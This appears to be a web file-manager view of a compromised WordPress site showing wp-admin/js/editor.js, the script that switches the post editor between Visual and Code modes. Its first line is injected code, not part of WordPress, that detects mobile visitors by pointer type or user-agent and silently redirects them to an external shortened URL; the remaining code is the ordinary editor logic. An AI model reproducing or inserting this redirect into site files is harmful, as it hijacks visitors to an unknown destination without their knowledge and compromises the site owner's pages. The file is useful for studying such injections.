at path:ROOT / wp-admin / js / editor.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄editor.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/editor.js
4 */
5
6window.wp = window.wp || {};
7
8( function( $, wp ) {
9 wp.editor = wp.editor || {};
10
11 /**
12 * Utility functions for the editor.
13 *
14 * @since 2.5.0
15 */
16 function SwitchEditors() {
17 var tinymce, $$,
18 exports = {};
19
20 function init() {
21 if ( ! tinymce && window.tinymce ) {
22 tinymce = window.tinymce;
23 $$ = tinymce.$;
24
25 /**
26 * Handles onclick events for the Visual/Code tabs.
27 *
28 * @since 4.3.0
29 *
30 * @return {void}
31 */
32 $$( document ).on( 'click', function( event ) {
33 var id, mode,
34 target = $$( event.target );
35
36 if ( target.hasClass( 'wp-switch-editor' ) ) {
37 id = target.attr( 'data-wp-editor-id' );
38 mode = target.hasClass( 'switch-tmce' ) ? 'tmce' : 'html';
39 switchEditor( id, mode );
40 }
41 });
42 }
43 }
44
45 /**
46 * Returns the height of the editor toolbar(s) in px.
47 *
48 * @since 3.9.0
49 *
50 * @param {Object} editor The TinyMCE editor.
51 * @return {number} If the height is between 10 and 200 return the height,
52 * else return 30.
53 */
54 function getToolbarHeight( editor ) {
55 var node = $$( '.mce-toolbar-grp', editor.getContainer() )[0],
56 height = node && node.clientHeight;
57
58 if ( height && height > 10 && height < 200 ) {
59 return parseInt( height, 10 );
60 }
61
62 return 30;
63 }
64
65 /**
66 * Switches the editor between Visual and Code mode.
67 *
68 * @since 2.5.0
69 *
70 * @memberof switchEditors
71 *
72 * @param {string} id The id of the editor you want to change the editor mode for. Default: `content`.
73 * @param {string} mode The mode you want to switch to. Default: `toggle`.
74 * @return {void}
75 */
76 function switchEditor( id, mode ) {
77 id = id || 'content';
78 mode = mode || 'toggle';
79
80 var editorHeight, toolbarHeight, iframe,
81 editor = tinymce.get( id ),
82 wrap = $$( '#wp-' + id + '-wrap' ),
83 htmlSwitch = wrap.find( '.switch-tmce' ),
84 tmceSwitch = wrap.find( '.switch-html' ),
85 $textarea = $$( '#' + id ),
86 textarea = $textarea[0];
87
88 if ( 'toggle' === mode ) {
89 if ( editor && ! editor.isHidden() ) {
90 mode = 'html';
91 } else {
92 mode = 'tmce';
93 }
94 }
95
96 if ( 'tmce' === mode || 'tinymce' === mode ) {
97 // If the editor is visible we are already in `tinymce` mode.
98 if ( editor && ! editor.isHidden() ) {
99 return false;
100 }
101
102 // Insert closing tags for any open tags in QuickTags.
103 if ( typeof( window.QTags ) !== 'undefined' ) {
104 window.QTags.closeAllTags( id );
105 }
106
107 editorHeight = parseInt( textarea.style.height, 10 ) || 0;
108
109 addHTMLBookmarkInTextAreaContent( $textarea );
110
111 if ( editor ) {
112 editor.show();
113
114 // No point to resize the iframe in iOS.
115 if ( ! tinymce.Env.iOS && editorHeight ) {
116 toolbarHeight = getToolbarHeight( editor );
117 editorHeight = editorHeight - toolbarHeight + 14;
118
119 // Sane limit for the editor height.
120 if ( editorHeight > 50 && editorHeight < 5000 ) {
121 editor.theme.resizeTo( null, editorHeight );
122 }
123 }
124
125 focusHTMLBookmarkInVisualEditor( editor );
126 } else {
127 tinymce.init( window.tinyMCEPreInit.mceInit[ id ] );
128 }
129
130 wrap.removeClass( 'html-active' ).addClass( 'tmce-active' );
131 tmceSwitch.attr( 'aria-pressed', false );
132 htmlSwitch.attr( 'aria-pressed', true );
133 $textarea.attr( 'aria-hidden', true );
134 window.setUserSetting( 'editor', 'tinymce' );
135
136 } else if ( 'html' === mode ) {
137 // If the editor is hidden (Quicktags is shown) we don't need to switch.
138 if ( editor && editor.isHidden() ) {
139 return false;
140 }
141
142 if ( editor ) {
143 // Don't resize the textarea in iOS.
144 // The iframe is forced to 100% height there, we shouldn't match it.
145 if ( ! tinymce.Env.iOS ) {
146 iframe = editor.iframeElement;
147 editorHeight = iframe ? parseInt( iframe.style.height, 10 ) : 0;
148
149 if ( editorHeight ) {
150 toolbarHeight = getToolbarHeight( editor );
151 editorHeight = editorHeight + toolbarHeight - 14;
152
153 // Sane limit for the textarea height.
154 if ( editorHeight > 50 && editorHeight < 5000 ) {
155 textarea.style.height = editorHeight + 'px';
156 }
157 }
158 }
159
160 var selectionRange = null;
161
162 selectionRange = findBookmarkedPosition( editor );
163
164 editor.hide();
165
166 if ( selectionRange ) {
167 selectTextInTextArea( editor, selectionRange );
168 }
169 } else {
170 // There is probably a JS error on the page.
171 // The TinyMCE editor instance doesn't exist. Show the textarea.
172 $textarea.css({ 'display': '', 'visibility': '' });
173 }
174
175 wrap.removeClass( 'tmce-active' ).addClass( 'html-active' );
176 tmceSwitch.attr( 'aria-pressed', true );
177 htmlSwitch.attr( 'aria-pressed', false );
178 $textarea.attr( 'aria-hidden', false );
179 window.setUserSetting( 'editor', 'html' );
180 }
181 }
182
183 /**
184 * Checks if a cursor is inside an HTML tag or comment.
185 *
186 * In order to prevent breaking HTML tags when selecting text, the cursor
187 * must be moved to either the start or end of the tag.
188 *
189 * This will prevent the selection marker to be inserted in the middle of an HTML tag.
190 *
191 * This function gives information whether the cursor is inside a tag or not, as well as
192 * the tag type, if it is a closing tag and check if the HTML tag is inside a shortcode tag,
193 * e.g. `[caption]<img.../>..`.
194 *
195 * @param {string} content The test content where the cursor is.
196 * @param {number} cursorPosition The cursor position inside the content.
197 *
198 * @return {(null|Object)} Null if cursor is not in a tag, Object if the cursor is inside a tag.
199 */
200 function getContainingTagInfo( content, cursorPosition ) {
201 var lastLtPos = content.lastIndexOf( '<', cursorPosition - 1 ),
202 lastGtPos = content.lastIndexOf( '>', cursorPosition );
203
204 if ( lastLtPos > lastGtPos || content.substr( cursorPosition, 1 ) === '>' ) {
205 // Find what the tag is.
206 var tagContent = content.substr( lastLtPos ),
207 tagMatch = tagContent.match( /<\s*(\/)?(\w+|\!-{2}.*-{2})/ );
208
209 if ( ! tagMatch ) {
210 return null;
211 }
212
213 var tagType = tagMatch[2],
214 closingGt = tagContent.indexOf( '>' );
215
216 return {
217 ltPos: lastLtPos,
218 gtPos: lastLtPos + closingGt + 1, // Offset by one to get the position _after_ the character.
219 tagType: tagType,
220 isClosingTag: !! tagMatch[1]
221 };
222 }
223 return null;
224 }
225
226 /**
227 * Checks if the cursor is inside a shortcode
228 *
229 * If the cursor is inside a shortcode wrapping tag, e.g. `[caption]` it's better to
230 * move the selection marker to before or after the shortcode.
231 *
232 * For example `[caption]` rewrites/removes anything that's between the `[caption]` tag and the
233 * `<img/>` tag inside.
234 *
235 * `[caption]<span>ThisIsGone</span><img .../>[caption]`
236 *
237 * Moving the selection to before or after the short code is better, since it allows to select
238 * something, instead of just losing focus and going to the start of the content.
239 *
240 * @param {string} content The text content to check against.
241 * @param {number} cursorPosition The cursor position to check.
242 *
243 * @return {(undefined|Object)} Undefined if the cursor is not wrapped in a shortcode tag.
244 * Information about the wrapping shortcode tag if it's wrapped in one.
245 */
246 function getShortcodeWrapperInfo( content, cursorPosition ) {
247 var contentShortcodes = getShortCodePositionsInText( content );
248
249 for ( var i = 0; i < contentShortcodes.length; i++ ) {
250 var element = contentShortcodes[ i ];
251
252 if ( cursorPosition >= element.startIndex && cursorPosition <= element.endIndex ) {
253 return element;
254 }
255 }
256 }
257
258 /**
259 * Gets a list of unique shortcodes or shortcode-lookalikes in the content.
260 *
261 * @param {string} content The content we want to scan for shortcodes.
262 */
263 function getShortcodesInText( content ) {
264 var shortcodes = content.match( /\[+([\w_-])+/g ),
265 result = [];
266
267 if ( shortcodes ) {
268 for ( var i = 0; i < shortcodes.length; i++ ) {
269 var shortcode = shortcodes[ i ].replace( /^\[+/g, '' );
270
271 if ( result.indexOf( shortcode ) === -1 ) {
272 result.push( shortcode );
273 }
274 }
275 }
276
277 return result;
278 }
279
280 /**
281 * Gets all shortcodes and their positions in the content
282 *
283 * This function returns all the shortcodes that could be found in the textarea content
284 * along with their character positions and boundaries.
285 *
286 * This is used to check if the selection cursor is inside the boundaries of a shortcode
287 * and move it accordingly, to avoid breakage.
288 *
289 * @link adjustTextAreaSelectionCursors
290 *
291 * The information can also be used in other cases when we need to lookup shortcode data,
292 * as it's already structured!
293 *
294 * @param {string} content The content we want to scan for shortcodes
295 */
296 function getShortCodePositionsInText( content ) {
297 var allShortcodes = getShortcodesInText( content ), shortcodeInfo;
298
299 if ( allShortcodes.length === 0 ) {
300 return [];
301 }
302
303 var shortcodeDetailsRegexp = wp.shortcode.regexp( allShortcodes.join( '|' ) ),
304 shortcodeMatch, // Define local scope for the variable to be used in the loop below.
305 shortcodesDetails = [];
306
307 while ( shortcodeMatch = shortcodeDetailsRegexp.exec( content ) ) {
308 /**
309 * Check if the shortcode should be shown as plain text.
310 *
311 * This corresponds to the [[shortcode]] syntax, which doesn't parse the shortcode
312 * and just shows it as text.
313 */
314 var showAsPlainText = shortcodeMatch[1] === '[';
315
316 shortcodeInfo = {
317 shortcodeName: shortcodeMatch[2],
318 showAsPlainText: showAsPlainText,
319 startIndex: shortcodeMatch.index,
320 endIndex: shortcodeMatch.index + shortcodeMatch[0].length,
321 length: shortcodeMatch[0].length
322 };
323
324 shortcodesDetails.push( shortcodeInfo );
325 }
326
327 /**
328 * Get all URL matches, and treat them as embeds.
329 *
330 * Since there isn't a good way to detect if a URL by itself on a line is a previewable
331 * object, it's best to treat all of them as such.
332 *
333 * This means that the selection will capture the whole URL, in a similar way shrotcodes
334 * are treated.
335 */
336 var urlRegexp = new RegExp(
337 '(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^\s"]+?)(<\\/p>\s*|[\\n\\r][\\n\\r]|$)', 'gi'
338 );
339
340 while ( shortcodeMatch = urlRegexp.exec( content ) ) {
341 shortcodeInfo = {
342 shortcodeName: 'url',
343 showAsPlainText: false,
344 startIndex: shortcodeMatch.index,
345 endIndex: shortcodeMatch.index + shortcodeMatch[ 0 ].length,
346 length: shortcodeMatch[ 0 ].length,
347 urlAtStartOfContent: shortcodeMatch[ 1 ] === '',
348 urlAtEndOfContent: shortcodeMatch[ 3 ] === ''
349 };
350
351 shortcodesDetails.push( shortcodeInfo );
352 }
353
354 return shortcodesDetails;
355 }
356
357 /**
358 * Generate a cursor marker element to be inserted in the content.
359 *
360 * `span` seems to be the least destructive element that can be used.
361 *
362 * Using DomQuery syntax to create it, since it's used as both text and as a DOM element.
363 *
364 * @param {Object} domLib DOM library instance.
365 * @param {string} content The content to insert into the cursor marker element.
366 */
367 function getCursorMarkerSpan( domLib, content ) {
368 return domLib( '<span>' ).css( {
369 display: 'inline-block',
370 width: 0,
371 overflow: 'hidden',
372 'line-height': 0
373 } )
374 .html( content ? content : '' );
375 }
376
377 /**
378 * Gets adjusted selection cursor positions according to HTML tags, comments, and shortcodes.
379 *
380 * Shortcodes and HTML codes are a bit of a special case when selecting, since they may render
381 * content in Visual mode. If we insert selection markers somewhere inside them, it's really possible
382 * to break the syntax and render the HTML tag or shortcode broken.
383 *
384 * @link getShortcodeWrapperInfo
385 *
386 * @param {string} content Textarea content that the cursors are in
387 * @param {{cursorStart: number, cursorEnd: number}} cursorPositions Cursor start and end positions
388 *
389 * @return {{cursorStart: number, cursorEnd: number}}
390 */
391 function adjustTextAreaSelectionCursors( content, cursorPositions ) {
392 var voidElements = [
393 'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input',
394 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr'
395 ];
396
397 var cursorStart = cursorPositions.cursorStart,
398 cursorEnd = cursorPositions.cursorEnd,
399 // Check if the cursor is in a tag and if so, adjust it.
400 isCursorStartInTag = getContainingTagInfo( content, cursorStart );
401
402 if ( isCursorStartInTag ) {
403 /**
404 * Only move to the start of the HTML tag (to select the whole element) if the tag
405 * is part of the voidElements list above.
406 *
407 * This list includes tags that are self-contained and don't need a closing tag, according to the
408 * HTML5 specification.
409 *
410 * This is done in order to make selection of text a bit more consistent when selecting text in
411 * `<p>` tags or such.
412 *
413 * In cases where the tag is not a void element, the cursor is put to the end of the tag,
414 * so it's either between the opening and closing tag elements or after the closing tag.
415 */
416 if ( voidElements.indexOf( isCursorStartInTag.tagType ) !== -1 ) {
417 cursorStart = isCursorStartInTag.ltPos;
418 } else {
419 cursorStart = isCursorStartInTag.gtPos;
420 }
421 }
422
423 var isCursorEndInTag = getContainingTagInfo( content, cursorEnd );
424 if ( isCursorEndInTag ) {
425 cursorEnd = isCursorEndInTag.gtPos;
426 }
427
428 var isCursorStartInShortcode = getShortcodeWrapperInfo( content, cursorStart );
429 if ( isCursorStartInShortcode && ! isCursorStartInShortcode.showAsPlainText ) {
430 /**
431 * If a URL is at the start or the end of the content,
432 * the selection doesn't work, because it inserts a marker in the text,
433 * which breaks the embedURL detection.
434 *
435 * The best way to avoid that and not modify the user content is to
436 * adjust the cursor to either after or before URL.
437 */
438 if ( isCursorStartInShortcode.urlAtStartOfContent ) {
439 cursorStart = isCursorStartInShortcode.endIndex;
440 } else {
441 cursorStart = isCursorStartInShortcode.startIndex;
442 }
443 }
444
445 var isCursorEndInShortcode = getShortcodeWrapperInfo( content, cursorEnd );
446 if ( isCursorEndInShortcode && ! isCursorEndInShortcode.showAsPlainText ) {
447 if ( isCursorEndInShortcode.urlAtEndOfContent ) {
448 cursorEnd = isCursorEndInShortcode.startIndex;
449 } else {
450 cursorEnd = isCursorEndInShortcode.endIndex;
451 }
452 }
453
454 return {
455 cursorStart: cursorStart,
456 cursorEnd: cursorEnd
457 };
458 }
459
460 /**
461 * Adds text selection markers in the editor textarea.
462 *
463 * Adds selection markers in the content of the editor `textarea`.
464 * The method directly manipulates the `textarea` content, to allow TinyMCE plugins
465 * to run after the markers are added.
466 *
467 * @param {Object} $textarea TinyMCE's textarea wrapped as a DomQuery object
468 */
469 function addHTMLBookmarkInTextAreaContent( $textarea ) {
470 if ( ! $textarea || ! $textarea.length ) {
471 // If no valid $textarea object is provided, there's nothing we can do.
472 return;
473 }
474
475 var textArea = $textarea[0],
476 textAreaContent = textArea.value,
477
478 adjustedCursorPositions = adjustTextAreaSelectionCursors( textAreaContent, {
479 cursorStart: textArea.selectionStart,
480 cursorEnd: textArea.selectionEnd
481 } ),
482
483 htmlModeCursorStartPosition = adjustedCursorPositions.cursorStart,
484 htmlModeCursorEndPosition = adjustedCursorPositions.cursorEnd,
485
486 mode = htmlModeCursorStartPosition !== htmlModeCursorEndPosition ? 'range' : 'single',
487
488 selectedText = null,
489 cursorMarkerSkeleton = getCursorMarkerSpan( $$, '&#65279;' ).attr( 'data-mce-type','bookmark' );
490
491 if ( mode === 'range' ) {
492 var markedText = textArea.value.slice( htmlModeCursorStartPosition, htmlModeCursorEndPosition ),
493 bookMarkEnd = cursorMarkerSkeleton.clone().addClass( 'mce_SELRES_end' );
494
495 selectedText = [
496 markedText,
497 bookMarkEnd[0].outerHTML
498 ].join( '' );
499 }
500
501 textArea.value = [
502 textArea.value.slice( 0, htmlModeCursorStartPosition ), // Text until the cursor/selection position.
503 cursorMarkerSkeleton.clone() // Cursor/selection start marker.
504 .addClass( 'mce_SELRES_start' )[0].outerHTML,
505 selectedText, // Selected text with end cursor/position marker.
506 textArea.value.slice( htmlModeCursorEndPosition ) // Text from last cursor/selection position to end.
507 ].join( '' );
508 }
509
510 /**
511 * Focuses the selection markers in Visual mode.
512 *
513 * The method checks for existing selection markers inside the editor DOM (Visual mode)
514 * and create a selection between the two nodes using the DOM `createRange` selection API.
515 *
516 * If there is only a single node, select only the single node through TinyMCE's selection API
517 *
518 * @param {Object} editor TinyMCE editor instance.
519 */
520 function focusHTMLBookmarkInVisualEditor( editor ) {
521 var startNode = editor.$( '.mce_SELRES_start' ).attr( 'data-mce-bogus', 1 ),
522 endNode = editor.$( '.mce_SELRES_end' ).attr( 'data-mce-bogus', 1 );
523
524 if ( startNode.length ) {
525 editor.focus();
526
527 if ( ! endNode.length ) {
528 editor.selection.select( startNode[0] );
529 } else {
530 var selection = editor.getDoc().createRange();
531
532 selection.setStartAfter( startNode[0] );
533 selection.setEndBefore( endNode[0] );
534
535 editor.selection.setRng( selection );
536 }
537 }
538
539 scrollVisualModeToStartElement( editor, startNode );
540
541 removeSelectionMarker( startNode );
542 removeSelectionMarker( endNode );
543
544 editor.save();
545 }
546
547 /**
548 * Removes selection marker and the parent node if it is an empty paragraph.
549 *
550 * By default TinyMCE wraps loose inline tags in a `<p>`.
551 * When removing selection markers an empty `<p>` may be left behind, remove it.
552 *
553 * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instance of `editor.$`
554 */
555 function removeSelectionMarker( $marker ) {
556 var $markerParent = $marker.parent();
557
558 $marker.remove();
559
560 //Remove empty paragraph left over after removing the marker.
561 if ( $markerParent.is( 'p' ) && ! $markerParent.children().length && ! $markerParent.text() ) {
562 $markerParent.remove();
563 }
564 }
565
566 /**
567 * Scrolls the content to place the selected element in the center of the screen.
568 *
569 * Takes an element, that is usually the selection start element, selected in
570 * `focusHTMLBookmarkInVisualEditor()` and scrolls the screen so the element appears roughly
571 * in the middle of the screen.
572 *
573 * I order to achieve the proper positioning, the editor media bar and toolbar are subtracted
574 * from the window height, to get the proper viewport window, that the user sees.
575 *
576 * @param {Object} editor TinyMCE editor instance.
577 * @param {Object} element HTMLElement that should be scrolled into view.
578 */
579 function scrollVisualModeToStartElement( editor, element ) {
580 var elementTop = editor.$( element ).offset().top,
581 TinyMCEContentAreaTop = editor.$( editor.getContentAreaContainer() ).offset().top,
582
583 toolbarHeight = getToolbarHeight( editor ),
584
585 edTools = $( '#wp-content-editor-tools' ),
586 edToolsHeight = 0,
587 edToolsOffsetTop = 0,
588
589 $scrollArea;
590
591 if ( edTools.length ) {
592 edToolsHeight = edTools.height();
593 edToolsOffsetTop = edTools.offset().top;
594 }
595
596 var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight,
597
598 selectionPosition = TinyMCEContentAreaTop + elementTop,
599 visibleAreaHeight = windowHeight - ( edToolsHeight + toolbarHeight );
600
601 // There's no need to scroll if the selection is inside the visible area.
602 if ( selectionPosition < visibleAreaHeight ) {
603 return;
604 }
605
606 /**
607 * The minimum scroll height should be to the top of the editor, to offer a consistent
608 * experience.
609 *
610 * In order to find the top of the editor, we calculate the offset of `#wp-content-editor-tools` and
611 * subtracting the height. This gives the scroll position where the top of the editor tools aligns with
612 * the top of the viewport (under the Master Bar)
613 */
614 var adjustedScroll;
615 if ( editor.settings.wp_autoresize_on ) {
616 $scrollArea = $( 'html,body' );
617 adjustedScroll = Math.max( selectionPosition - visibleAreaHeight / 2, edToolsOffsetTop - edToolsHeight );
618 } else {
619 $scrollArea = $( editor.contentDocument ).find( 'html,body' );
620 adjustedScroll = elementTop;
621 }
622
623 $scrollArea.animate( {
624 scrollTop: parseInt( adjustedScroll, 10 )
625 }, 100 );
626 }
627
628 /**
629 * This method was extracted from the `SaveContent` hook in
630 * `wp-includes/js/tinymce/plugins/wordpress/plugin.js`.
631 *
632 * It's needed here, since the method changes the content a bit, which confuses the cursor position.
633 *
634 * @param {Object} event TinyMCE event object.
635 */
636 function fixTextAreaContent( event ) {
637 // Keep empty paragraphs :(
638 event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p>&nbsp;</p>' );
639 }
640
641 /**
642 * Finds the current selection position in the Visual editor.
643 *
644 * Find the current selection in the Visual editor by inserting marker elements at the start
645 * and end of the selection.
646 *
647 * Uses the standard DOM selection API to achieve that goal.
648 *
649 * Check the notes in the comments in the code below for more information on some gotchas
650 * and why this solution was chosen.
651 *
652 * @param {Object} editor The editor where we must find the selection.
653 * @return {(null|Object)} The selection range position in the editor.
654 */
655 function findBookmarkedPosition( editor ) {
656 // Get the TinyMCE `window` reference, since we need to access the raw selection.
657 var TinyMCEWindow = editor.getWin(),
658 selection = TinyMCEWindow.getSelection();
659
660 if ( ! selection || selection.rangeCount < 1 ) {
661 // no selection, no need to continue.
662 return;
663 }
664
665 /**
666 * The ID is used to avoid replacing user generated content, that may coincide with the
667 * format specified below.
668 * @type {string}
669 */
670 var selectionID = 'SELRES_' + Math.random();
671
672 /**
673 * Create two marker elements that will be used to mark the start and the end of the range.
674 *
675 * The elements have hardcoded style that makes them invisible. This is done to avoid seeing
676 * random content flickering in the editor when switching between modes.
677 */
678 var spanSkeleton = getCursorMarkerSpan( editor.$, selectionID ),
679 startElement = spanSkeleton.clone().addClass( 'mce_SELRES_start' ),
680 endElement = spanSkeleton.clone().addClass( 'mce_SELRES_end' );
681
682 /**
683 * Inspired by:
684 * @link https://stackoverflow.com/a/17497803/153310
685 *
686 * Why do it this way and not with TinyMCE's bookmarks?
687 *
688 * TinyMCE's bookmarks are very nice when working with selections and positions, BUT
689 * there is no way to determine the precise position of the bookmark when switching modes, since
690 * TinyMCE does some serialization of the content, to fix things like shortcodes, run plugins, prettify
691 * HTML code and so on. In this process, the bookmark markup gets lost.
692 *
693 * If we decide to hook right after the bookmark is added, we can see where the bookmark is in the raw HTML
694 * in TinyMCE. Unfortunately this state is before the serialization, so any visual markup in the content will
695 * throw off the positioning.
696 *
697 * To avoid this, we insert two custom `span`s that will serve as the markers at the beginning and end of the
698 * selection.
699 *
700 * Why not use TinyMCE's selection API or the DOM API to wrap the contents? Because if we do that, this creates
701 * a new node, which is inserted in the dom. Now this will be fine, if we worked with fixed selections to
702 * full nodes. Unfortunately in our case, the user can select whatever they like, which means that the
703 * selection may start in the middle of one node and end in the middle of a completely different one. If we
704 * wrap the selection in another node, this will create artifacts in the content.
705 *
706 * Using the method below, we insert the custom `span` nodes at the start and at the end of the selection.
707 * This helps us not break the content and also gives us the option to work with multi-node selections without
708 * breaking the markup.
709 */
710 var range = selection.getRangeAt( 0 ),
711 startNode = range.startContainer,
712 startOffset = range.startOffset,
713 boundaryRange = range.cloneRange();
714
715 /**
716 * If the selection is on a shortcode with Live View, TinyMCE creates a bogus markup,
717 * which we have to account for.
718 */
719 if ( editor.$( startNode ).parents( '.mce-offscreen-selection' ).length > 0 ) {
720 startNode = editor.$( '[data-mce-selected]' )[0];
721
722 /**
723 * Marking the start and end element with `data-mce-object-selection` helps
724 * discern when the selected object is a Live Preview selection.
725 *
726 * This way we can adjust the selection to properly select only the content, ignoring
727 * whitespace inserted around the selected object by the Editor.
728 */
729 startElement.attr( 'data-mce-object-selection', 'true' );
730 endElement.attr( 'data-mce-object-selection', 'true' );
731
732 editor.$( startNode ).before( startElement[0] );
733 editor.$( startNode ).after( endElement[0] );
734 } else {
735 boundaryRange.collapse( false );
736 boundaryRange.insertNode( endElement[0] );
737
738 boundaryRange.setStart( startNode, startOffset );
739 boundaryRange.collapse( true );
740 boundaryRange.insertNode( startElement[0] );
741
742 range.setStartAfter( startElement[0] );
743 range.setEndBefore( endElement[0] );
744 selection.removeAllRanges();
745 selection.addRange( range );
746 }
747
748 /**
749 * Now the editor's content has the start/end nodes.
750 *
751 * Unfortunately the content goes through some more changes after this step, before it gets inserted
752 * in the `textarea`. This means that we have to do some minor cleanup on our own here.
753 */
754 editor.on( 'GetContent', fixTextAreaContent );
755
756 var content = removep( editor.getContent() );
757
758 editor.off( 'GetContent', fixTextAreaContent );
759
760 startElement.remove();
761 endElement.remove();
762
763 var startRegex = new RegExp(
764 '<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>(\\s*)'
765 );
766
767 var endRegex = new RegExp(
768 '(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>'
769 );
770
771 var startMatch = content.match( startRegex ),
772 endMatch = content.match( endRegex );
773
774 if ( ! startMatch ) {
775 return null;
776 }
777
778 var startIndex = startMatch.index,
779 startMatchLength = startMatch[0].length,
780 endIndex = null;
781
782 if (endMatch) {
783 /**
784 * Adjust the selection index, if the selection contains a Live Preview object or not.
785 *
786 * Check where the `data-mce-object-selection` attribute is set above for more context.
787 */
788 if ( startMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) {
789 startMatchLength -= startMatch[1].length;
790 }
791
792 var endMatchIndex = endMatch.index;
793
794 if ( endMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) {
795 endMatchIndex -= endMatch[1].length;
796 }
797
798 // We need to adjust the end position to discard the length of the range start marker.
799 endIndex = endMatchIndex - startMatchLength;
800 }
801
802 return {
803 start: startIndex,
804 end: endIndex
805 };
806 }
807
808 /**
809 * Selects text in the TinyMCE `textarea`.
810 *
811 * Selects the text in TinyMCE's textarea that's between `selection.start` and `selection.end`.
812 *
813 * For `selection` parameter:
814 * @link findBookmarkedPosition
815 *
816 * @param {Object} editor TinyMCE's editor instance.
817 * @param {Object} selection Selection data.
818 */
